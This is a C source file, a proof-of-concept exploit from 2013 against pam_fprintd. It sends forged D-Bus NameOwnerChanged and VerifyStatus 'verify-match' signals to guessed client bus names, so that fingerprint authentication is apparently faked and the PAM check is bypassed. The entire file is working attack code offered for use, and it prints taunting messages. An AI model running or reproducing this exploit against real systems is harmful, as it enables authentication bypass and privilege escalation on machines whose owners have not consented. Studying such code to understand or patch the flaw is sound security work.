#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>
#include <dbus/dbus.h>
void die(const char *s)
{
perror(s);
exit(errno);
}
int main(int argc, char **argv)
{
DBusError err;
DBusConnection *conn = NULL;
DBusMessage *vrfy_msg = NULL, *noc_msg = NULL, *nl_msg = NULL, *reply = NULL;
dbus_uint32_t serial = 0;
dbus_bool_t t = 1;
int un = 0, i = 0, reply_to = -1;
const char *vrfy_match = "verify-match", *cname = NULL,
*name = "net.reactivated.Fprint", *prev_owner = NULL;
char dest[32];
if (argc > 1)
prev_owner = strdup(argv[1]);
printf("\n[**] darklena, pam_fprintd PoC exploit 2013\n\n");
printf("[*] Initializing DBUS ...\n");
dbus_error_init(&err);
conn = dbus_bus_get(DBUS_BUS_SYSTEM, &err);
if (dbus_error_is_set(&err)) {
fprintf(stderr, "Error: %s\n", err.message);
die("dbus_error_is_set");
}
if ((cname = dbus_bus_get_unique_name(conn)) == NULL)
die("dbus_bus_get_unique_name");
un = atoi(strchr(cname, '.') + 1);
printf("[+] Done. Found my unique name: %s (%d)\n", cname, un);
if (!prev_owner) {
printf("[*] Trying to find unique name of '%s' ...\n", name);
nl_msg = dbus_message_new_method_call("org.freedesktop.DBus",
"/org/freedesktop/DBus",
"org.freedesktop.DBus",
"GetNameOwner");
if (!dbus_message_append_args(nl_msg, DBUS_TYPE_STRING, &name, DBUS_TYPE_INVALID))
die("[-] dbus_message_append_args");
reply = dbus_connection_send_with_reply_and_block(conn, nl_msg, reply_to, &err);
dbus_message_unref(nl_msg);
if (dbus_error_is_set(&err)) {
fprintf (stderr, "[-] Error: %s\n", err.message);
die("[-] dbus_connection_send_with_reply_and_block");
}
if (!dbus_message_get_args(reply, &err,
DBUS_TYPE_STRING, &prev_owner, DBUS_TYPE_INVALID)) {
fprintf(stderr, "[-] Error: %s\n", err.message);
die("[-] dbus_message_get_args");
}
dbus_message_unref(reply);
}
printf("[+] Found unique name of '%s' as '%s'\n", name, prev_owner);
for (i = 1; i < 20; ++i) {
noc_msg = dbus_message_new_signal("/org/freedesktop/DBus",
"org.freedesktop.DBus",
"NameOwnerChanged");
vrfy_msg = dbus_message_new_signal("/net/reactivated/Fprint/Device/0",
"net.reactivated.Fprint.Device",
"VerifyStatus");
if (!vrfy_msg || !noc_msg)
die("[-] dbus_message_new_signal");
if (!dbus_message_append_args(noc_msg, DBUS_TYPE_STRING, &name, DBUS_TYPE_STRING,
&prev_owner, DBUS_TYPE_STRING, &cname, DBUS_TYPE_INVALID))
die("[-] dbus_message_append_args1");
if (!dbus_message_append_args(vrfy_msg, DBUS_TYPE_STRING, &vrfy_match,
DBUS_TYPE_BOOLEAN, &t, DBUS_TYPE_INVALID))
die("[-] dbus_message_append_args2");
snprintf(dest, sizeof(dest), ":1.%d", un - i);
printf("[*] Using new destination: %s\n", dest);
if (!dbus_message_set_destination(vrfy_msg, dest))
die("[-] dbus_message_set_destination");
if (!dbus_message_set_destination(noc_msg, dest))
die("[-] dbus_message_set_destination");
if (!dbus_connection_send(conn, noc_msg, &serial))
die("[-] dbus_connection_send");
dbus_connection_flush(conn);
usleep(1000);
if (!dbus_connection_send(conn, vrfy_msg, &serial))
die("[-] dbus_connection_send");
dbus_connection_flush(conn);
dbus_message_unref(vrfy_msg);
dbus_message_unref(noc_msg);
}
printf("\n[**] Here comes the pain! (but no one's to too innocent to die)\n");
return 0;
}